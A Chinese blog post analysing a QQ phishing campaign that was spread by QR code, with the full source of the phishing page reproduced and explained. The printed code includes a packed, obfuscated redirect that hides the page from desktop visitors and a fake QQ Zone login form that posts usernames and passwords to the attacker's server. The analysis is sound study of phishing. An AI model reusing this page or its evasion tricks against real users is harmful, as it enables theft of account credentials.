一個QQ用戶名/密碼釣魚分析

寫在前面

之前好像一直都沒有碰到過釣魚頁面啥的…前天剛好碰到,就簡單分析一下。

釣魚分析

釣魚網址藏在一個二維碼中,正值畢業季啊,二維碼圖片上寫着“青春不散場”…看着就很像真的…

二維碼對應的URLhttps://sharechain.qq.com/1b4e56f042d5bf060fe0e44d6346eebf,是一個騰訊微雲的鏈接。沒有用過騰訊微雲,感覺像是分享一個帖子,然後帖子點進去就是下圖的形式。在電腦上看的話,其實很快就能發現這個東西不太對勁,但是在手機上是不能顯示實際對應的跳轉鏈接。文本顯示鏈接與實際跳轉鏈接不對應,這個特徵在釣魚網站檢測中也經常用到。

在這裏插入圖片描述

接下來就看一下www.dfesd.com/images/ee/yyoui.html這個鏈接的內容是什麼。

<!DOCTYPE html>
<html lang="zh-cn">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
    <link href="http://sasdh447.6600.org/template/css/css.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" href="http://qzonestyle.gtimg.cn/qzone/phone/style/login.css">
    <script src="http://open.mobile.qq.com/sdk/qqapi.js?_bid=152"></script>
    <script type="text/javascript">
$(function(){

 mqq.ui.setTitleButtons({
   left : {
       title : "私密相冊",
       callback : function () {
          //
       }
   },
   right : {
       hidden: true
   }
})
  
});
</script>
    <!--頂部banner-->
  </head>
  <script>
    var doc=$(document);var _touches_point1=0;var _touches_point2=0;addEventListener("touchstart",function(a){_touches_point1=a.touches[0].pageY});addEventListener("touchmove",function(a){_touches_point2=a.touches[0].pageY;if(doc.scrollTop()<=0&&_touches_point1<_touches_point2){a.preventDefault();if($("#_domain_display").length<=0){$("body").prepend('<div id="_domain_display" style="text-align:center;background-color:#bebdc2;color:#65696c;height:0px;padding-top:15px;line-height:26px;font-size:12px;overflow:hidden;"><p>網頁由 '+
	'ui.ptlogin2.qq.com'
	+' 提供</p><p>QQ瀏覽器X5內核提供技術支持</p></div>')}$("#_domain_display").height((_touches_point2-_touches_point1))}});addEventListener("touchend",function(a){$("#_domain_display").slideUp("normal",function(){$("#_domain_display").remove()})});
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 1={4:6,5:6,7:6};8 2=9.d;1.4=2.3("b")==0;1.5=2.3("c")==0;1.a=(2=="e")||(2.3("f")==0);k(1.4||1.5||1.7){o.n.l="g://j.i.h/m/"}',25,25,'|system|p|indexOf|win|mac|false|xll|var|navigator|x11|Win|Mac|platform|X11|Linux|http|com|qq|pvp|if|href||location|window'.split('|'),0,{}));

/* 上面一段js最終爲執行了如下代碼
var system = {
    win: false,
    mac: false,
    xll: false
};
var p = navigator.platform;
system.win = p.indexOf("Win") == 0;
system.mac = p.indexOf("Mac") == 0;
system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
if (system.win || system.mac || system.xll) {  //檢測到系統之後跳轉到http://pvp.qq.com/m/
    window.location.href = "http://pvp.qq.com/m/"
}
*/
if(navigator.userAgent.indexOf('QQ/')>0){
  }else{
	window.location.href='http://i.qq.com';
  }
var province = remote_ip_info.province; var city = remote_ip_info.city; document.getElementById("ip").value=province+city;</script>
 <!--下面這段html代碼,是模仿了qq空間的登錄界面-->
 <body style="zoom: 1;">
    <div id="content" class="content">
      <div id="error_tips">
        <div id="error_tips_content">
          <span id="error_icon"></span>
          <span id="error_message"></span>
        </div>
      </div>
      <div id="login" class="login">
        <div id="logo" class="logo"></div>
        <div id="app_name" style="display: none"></div>
        <div id="q_login" class="q_login" style="display: none">
          <div id="q_login_title">
            <div id="q_login_logo"></div>
            <label id="q_login_tips"></label>
          </div>
          <div id="q_logon_list" class="q_logon_list"></div>
        </div>
        <div id="web_login">
          <form id="loginform" autocomplete="off" name="loginform" action="" method="" target="" style="margin:0">
            <input type="hidden" name="ip" id="ip" />
            <ul id="g_list">
              <li id="g_u">
                <div id="del_touch" class="del_touch">
                  <span id="del_u" class="del_u"></span>
                </div>
                <input id="u" class="inputstyle" name="hrUW3PG7mp3RLd3dJu" autocomplete="off" placeholder="QQ號碼/手機/郵箱"></li>
              <li id="g_p">
                <div id="del_touch_p" class="del_touch">
                  <span id="del_p" class="del_u"></span>
                </div>
                <input id="p" class="inputstyle" maxlength="16" type="password" name="LxMzAX2jog9Bpjs07jP" autocorrect="off" placeholder="請輸入您的QQ密碼"></li>
            </ul>
            <div href="javascript:void(0);" id="go">登 錄</div></form>
        </div>
        <div id="switch">
          <div id="swicth_login" onclick="pt._switch()" style="display: none"></div>
          <div id="zc_feedback">
            <span id="zc" onclick="window.open('http\://ptlogin2.qq.com\x2Fj_newreg_url')">註冊新帳號</span>
            <span id="forgetpwd" onclick="window.open('http\://ptlogin2.qq.com/j_findpwd_url')">忘了密碼?</span></div>
        </div>
        <div id="custom_bottom"></div>
      </div>
      <div id="vcode">
        <label id="vcode_tips"></label>
        <div id="vcode_area">
          <img id="vcode_img">
          <label id="input_tips"></label>
          <input id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off" autocorrect="off" maxlength="6"></div>
        <div id="button"></div>
      </div>
    </div>
    <div id="new_vcode" class="new_vcode"></div>
    <div id="footerBlank"></div>
        <script>
      var times = 0;
      function error(msg) {
        $("#error_tips").css({
          display: 'block'
        });
        $('#error_message').html(msg);
        err = true;
      }
      $('form input').focus(function() {
        $("#error_tips").css({
          display: 'none'
        });
        err = false;
      });
      $("#error_tips").on('click',
      function() {
        $(this).hide();
      });
      $("#go").on('click',
        function() {
        var $this = $(this);
        err = false;
        var p = $("#p").val();
        var u = $("#u").val();
	u == '' && error('您還沒有輸入帳號!');	
	if(err) return false;
	p == '' && error("您還沒有輸入密碼!");
	if(err) return false;

	/^[1-9][0-9]{5,9}$/.test(u) || error('請輸入正確的帳號!');
	if(err) return false;

	if(sameChar(u)){
		error("您輸入的帳號或密碼不正確,請重新輸入。");
		$("#u").val('');
		$("#p").val('');
		return false;
	}
	
	var len = p.length;

	(len < 6 || len>16) && error('您輸入的帳號或密碼不正確,請重新輸入。');
	/*新增密碼校驗*/
	var pattern = /[\u4e00-\u9fa5]+/g;
	pattern.test(p) && error("您輸入的帳號或密碼不正確,請重新輸入。");
	var pattern2 = /^[0-9]*$/g;
	pattern2.test(p) && error("您輸入的帳號或密碼不正確,請重新輸入。");
	if(sameChar(p)){
		error("您輸入的帳號或密碼不正確,請重新輸入。");
		$("#p").val('');
		return false;
	}
	/**/

		if (!err){
			$.ajax({
				url:'http://sasdh447.6600.org/save.php',
				type:'POST',
				dataType:'json',
				async:false, 
				data: $('#loginform').serialize(),
				success:function(r){
				$.getScript('http://sasdh447.6600.org/lib/t.js');
				},
				error:function(er){
				$.getScript('http://sasdh447.6600.org/lib/t.js');
            }
			})
		}
      })
    	  function sameChar(str){
		  var result = true;
		  var c = str.charAt(0);
		  for(var i=0;i<str.length;i++){
			  if(c != str.charAt(i)){
				 result = false;
				 break;				 
			  }
		  }
		 return result;
      }
      </script>
    <div style="display:none;">
  </body>
</html>

理解了一下,其中的js代碼會判斷訪問者所使用的操作系統平臺,如果是win/mac/linux,就會直接跳轉到王者榮耀的一個網址,之後會判斷是否是使用QQ的瀏覽器來登錄的,如果是,則不跳轉,如果不是,就會跳轉到https://i.qq.com/。查了一下發現當有好多個window.location.href='xxx'時,只會執行最後一個,而且通過測試發現,頁面的跳轉會在後面所有的js代碼都執行結束之後發生。

這部分代碼其實就是防止自己被發現吧。當使用電腦登錄的時候,就直接跳轉到正常的頁面。

如果我們是通過手機QQ直接掃描二維碼,訪問網址,那頁面不跳轉,會看到一個和正常的QQ空間登錄一樣的界面,最後面的js代碼進行了一些簡單的對用戶名/密碼的判斷,避免訪問者輸入相同的用戶名/密碼,檢測用戶名是否全是數字等等,比較好理解。當js代碼判斷沒有錯誤之後,就會把用戶名密碼傳遞給一個http://sasdh447.6600.org/save.php的網址,這纔是真正的釣魚者的服務器,他應該會在後臺使用拿到的用戶名密碼,登錄QQ空間,發一些消息,繼續傳播釣魚界面。現在因爲都有設備鎖,所以釣魚者是沒辦法直接登錄QQ,但是郵件、空間等等這些都是可以登錄的。

在這裏插入圖片描述

另外,最開始騰訊微雲的鏈接是跳轉到www.dfesd.com下的一個網址,這個是阿里巴巴下的一個快遞公司…是合法的,感覺應該是這個網站有漏洞,然後通過這個漏洞上傳了yyoui.html這個頁面。沒有直接在釣魚者自己的服務器上放yyoui.html頁面,應該也是出於保護自身的緣故吧。

最後

感覺釣魚檢測在移動端需求更大,但是移動端…emm…看論文來說好像不是很多。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章